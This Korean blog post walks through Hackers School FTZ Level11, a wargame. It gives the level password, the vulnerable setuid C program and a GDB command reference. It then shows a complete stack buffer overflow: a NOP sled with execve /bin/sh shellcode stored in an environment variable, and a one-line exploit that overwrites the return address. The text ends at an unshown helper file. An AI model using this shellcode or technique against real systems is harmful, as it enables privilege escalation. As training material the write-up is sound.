본문 바로가기

리버싱/FTZ

해커스쿨 FTZ Level11 (버퍼오버플로우 : 기초) + GDB 설명

ID : level11

Password : what!@#$?


힌트 : 




#include <stdio.h>

#include <stdlib.h>


int main( int argc, char *argv[] )

{

        char str[256];


        setreuid( 3092, 3092 );

        strcpy( str, argv[1] );

        printf( str );

}




문제를 풀기 전에 :



gdb 사용법



1. 실행


gdb 프로그램(또는 프로세스번호)  


 -q 또는 -silent 또는 -quiet : 실행 시 쓰레기 설명글 제거



2. 종료


  quit (또는 q) 

  컨트롤 + D



3. 폭조절


 set width 값

 set height 값



4. 디버깅 중간에 쉘 명령어 사용하기


shell 명령어 (경로는 프로그램 위치와 같음) 



5. 팁


 탭 : 자동 명령 생성 (중복 항목이 있을 경우 탭을 2번 입력하면 가능한 명령 출력)

 엔터 : 이전 명령어 실행 


C++의 경우 함수 오버로딩을 허용한다. 따라서 함수명이 중복될 경우 함수명(int, int) 이런식으로 인자까지 함께 작성해주어야 한다.



6. 디버깅 명령어


 disas -

 가장 처음부터 디어셈블 

 disas 함수명

 특정 함수만 디어셈블 

 disas 시작주소 끝주소

 시작주소부터 끝 주소 까지 디어셈블 

 break *주소 또는 함수명

 브레이크 포인트 설정 

 x/숫자+출력방식 *주소 또는 함수명

 지정된 출력방식으로 숫자만큼 출력

 ex) x/32x 주소에서 32개를 16진수로 출력

 ex) x/s 주소에서 1개만큼 문자열로 출력

 (이후 아무 값 없이 엔터 누르면 그 다음 값 출력됨)

 continue (또는 c)

 break 걸린 상태에서 계속 실행 

 run (또는 r) (argv)

 프로그램을 처음부터 실행 argv입력시 인자 설정됨   

 info register 레지스터

 

 레지스터의 값과 주소 출력 

 info breakpoints  브레이크포인트 
 info b 

 브레이크포인트 정보 출력

 번호가 없으면 모든 브레이크포인트 목록 출력 

 nexti

 함수 내부로 들어가지 않고 한 라인 실행 

 stepi

 함수 내부로 들어가면서 한 라인 실행 

 backtrace

 프로그램 실행의 스택 추적 결과 출력 

 disable br 브레이크포인트 번호

 disable br 2-5 : 2~5

 disable br 2 5 : 2,5

 disable br once 2 : 한번만 비활성화

 브레이크 포인트를 비활성화

 번호가 없으면 전체를 비활성화

 enable br 브레이크포인트 번호

 브레이크포인트를 확성화

 번호가 없으면 전체를 활성화 

 d b 브레이크포인트

 브레이크포인트를 제거 




풀이 :



1. 스택 구조 이해




위 그림을 보면 strcpy에 인자 전달시 argv[1]의 위치와 str의 위치를 전달한다. 위의 코드를 보니 argv[1] 의 위치는 ebp+c 이고 str의 위치는 ebp-264임을 알 수 있다.

따라서 RET의 위치는 sfp를 건너 뛴 ebp-268이 될 것이다.



2. 쉘코드 작성


RET의 값을 쉘코드가 있는 메모리 주소를 넣기 위해 환경변수를 이용한다.


 export eggsh=`python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


 중요한 점은 = 사이에 여백이 있어서는 안된다는 점이다. 



3. 쉘코드 주소 알아내기


eggsh의 주소값을 알아내기 위해 코드를 작성한다.




쉘코드의 주소가 0xbffffeb6 임을 알 수 있다.



4. 공격코드 작성


./attackme `python -c 'print "\x90" * 268 + "\xb6\xfe\xff\xbf"'`




사용한 코드 : 


getenv.c